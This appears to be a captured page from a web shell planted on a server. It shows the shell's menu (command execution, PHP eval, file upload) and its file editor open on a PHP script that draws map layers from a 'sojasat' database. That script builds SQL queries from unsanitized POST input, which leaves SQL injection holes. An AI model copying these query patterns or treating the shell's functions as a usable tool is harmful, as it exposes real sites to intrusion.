Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
5.6.40-0+deb8u12
Disk Space
41.01 GB
Server Addr
19-www4
Your IP
10.10.10.40
Edit File
File:
<? function cmp_by_optionNumber($a, $b) { return $b["x"] - $a["x"] ; } function getRealPos($v1, $v2, $z, $maximo, $inverter = false){ // DIFEREÇA INTEIRA POSITIVA $diff_total = abs($v1-$v2); if($inverter === true){ // DIFEREÇA REAL PARTIR DO 0 $min = max(array($v1, $v2)); $diff_z = ($min-$z); }else{ $min = min(array($v1, $v2)); $diff_z = ($min-$z) * -1; } $ponto = ($diff_z * $maximo) / $diff_total; return $ponto; } function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1){ if ($thick == 1) { return imageline($image, $x1, $y1, $x2, $y2, $color); } $t = $thick / 2 - 0.5; if ($x1 == $x2 || $y1 == $y2) { return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color); } $k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q $a = $t / sqrt(1 + pow($k, 2)); $points = array( round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a), round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a), round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a), round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a), ); imagefilledpolygon($image, $points, 4, $color); return imagepolygon($image, $points, 4, $color); } $retornoDIMEN = array(); $tamanhoMapa['latinicio'] = $_POST['swlat']; $tamanhoMapa['latfinal'] = $_POST['nelat']; $tamanhoMapa['longinicio'] = $_POST['swlng']; $tamanhoMapa['longfinal'] = $_POST['nelng']; $idmunicipio = $_POST['idmunicipio']; $retorno = array('erro' => '', 'url' => '', 'swlat' => '', 'swlng' => '', 'nelat' => '', 'nelng' => ''); $camadas = explode(',', $_POST['camadas']); $camadas_or = array(); foreach($camadas as $ID){ $camadas_or[] = "ID = '".$ID."'"; } $camadas_emordem = array(); $BUSCAORDEM = mysql_query("SELECT * FROM site_sojasat WHERE ".implode(' OR ', $camadas_or). " AND tipo != 'shape' ORDER By ordem DESC, ID DESC"); while ($lnOrdem = mysql_fetch_object($BUSCAORDEM)) { $camadas_emordem[] = $lnOrdem->ID; } // RETORNO PARA POSICIONAR IMAGEM $retorno['swlat'] = $tamanhoMapa['latinicio']; $retorno['nelat'] = $tamanhoMapa['latfinal']; $retorno['swlng'] = $tamanhoMapa['longinicio']; $retorno['nelng'] = $tamanhoMapa['longfinal']; // Create a 700x500 image $scale_x = $_POST['mapW']; $scale_y = $_POST['mapH']; $im = imagecreate($scale_x, $scale_y); imagesavealpha($im, true); imagecolortransparent($im, imagecolorallocate($im, 0, 0, 0)); //$im = imagecreatetruecolor($scale_x, $scale_y); $white = imagecolorallocate($im, 255, 255, 255); $red = imagecolorallocate($im, 255, 0, 0); $black = imagecolorallocate($im, 0, 0, 0); $grey = imagecolorallocate($im, 211, 211, 211); $pontos_index = array(); $grossuraLinha = 0; $ordemGravado = array(); foreach($camadas_emordem as $ID){ $BUSCASHAPES = mysql_query("SELECT * FROM site_sojasat WHERE ID = '".$ID."'"); if($lnShape = mysql_fetch_object($BUSCASHAPES)){ $ordemGravado[] = $lnShape->titulo; $color = str_replace(array('rgb(', ')'), '', $lnShape->codigoCor); $color = explode(',', $color); //print_r($color); $color = imagecolorallocate($im, $color[0],$color[1],$color[2]); $color_marcado = imagecolorallocate($im, 232,0,0); $sql = "SELECT * FROM site_sojasat_shapes WHERE shapeID = '".$ID."'AND (" // COMEÇA ANTES DO INICIO E TERMINA DEPOIS DO INICIO - ATRAVESSA ."(xmin < '".$tamanhoMapa['longinicio']."' AND xmax > '".$tamanhoMapa['longinicio']."') OR " // COMEÇA DENTRO E TERMINA DENTRO - DENTRO TOTAL ."(xmin > '".$tamanhoMapa['longinicio']."' AND xmax < '".$tamanhoMapa['longfinal']."') OR " // COMEÇA DENTRO E TERMINA FORA ."(xmin > '".$tamanhoMapa['longinicio']."' AND xmin < '".$tamanhoMapa['longfinal']."' AND xmax > '".$tamanhoMapa['longfinal']."' ) " .")"; //$retorno['sql'] = $sql; $BUSCAPOINTS = mysql_query($sql) or die(mysql_error()); $retorno['pontos'] = mysql_num_rows($BUSCAPOINTS); while($lnPoints = mysql_fetch_object($BUSCAPOINTS)){ $pontos = json_decode($lnPoints->points, true); //usort($pontos, "cmp_by_optionNumber"); if($lnShape->tipo == 'shape'){ $shape_pontos = array(); foreach ($pontos as $ponto) { $x = getRealPos($tamanhoMapa['longinicio'], $tamanhoMapa['longfinal'], $ponto['x'], $scale_x); $y = getRealPos($tamanhoMapa['latinicio'], $tamanhoMapa['latfinal'], $ponto['y'], $scale_y, true); $shape_pontos[] = $x; $shape_pontos[] = $y; } //print_r($shape_pontos); die; //print_r($shape_pontos); @imagefilledpolygon($im, $shape_pontos, count($pontos), $color); }elseif($lnShape->tipo == 'linha'){ //$grossuraLinha++; //print_r($pontos); ## CREATE LINES for($i=1; $i<count($pontos);$i++){ $long = $pontos[$i-1]['x']; $lat = $pontos[$i-1]['y']; $pt['x'] = getRealPos($tamanhoMapa['longinicio'], $tamanhoMapa['longfinal'], $long, $scale_x); $pt['y'] = getRealPos($tamanhoMapa['latinicio'], $tamanhoMapa['latfinal'], $lat, $scale_y, true); $long = $pontos[$i]['x']; $lat = $pontos[$i]['y']; $pt2['x'] = getRealPos($tamanhoMapa['longinicio'], $tamanhoMapa['longfinal'], $long, $scale_x); $pt2['y'] = getRealPos($tamanhoMapa['latinicio'], $tamanhoMapa['latfinal'], $lat, $scale_y, true); $x1 = $pt['x']; $y1 = $pt['y']; $x2 = $pt2['x']; $y2 = $pt2['y']; if($idmunicipio == $lnPoints->dado3){ imagelinethick($im, $x1, $y1, $x2, $y2, $color_marcado, 2 ); }else{ imagelinethick($im, $x1, $y1, $x2, $y2, $color, (($lnShape->linhaTamanho == '') ? 1 : $lnShape->linhaTamanho ) ); } } } } } } $retorno['ordem'] = implode(' - ', $ordemGravado); if(is_dir("uploads/gerados") == false){ mkdir("uploads/gerados", 0777); } $name = time().'_'.rand().'_'.time().'.png'; imagepng($im, 'uploads/gerados/'.$name); $retorno['url'] = cp.'/uploads/gerados/'.$name; echo json_encode($retorno); ?>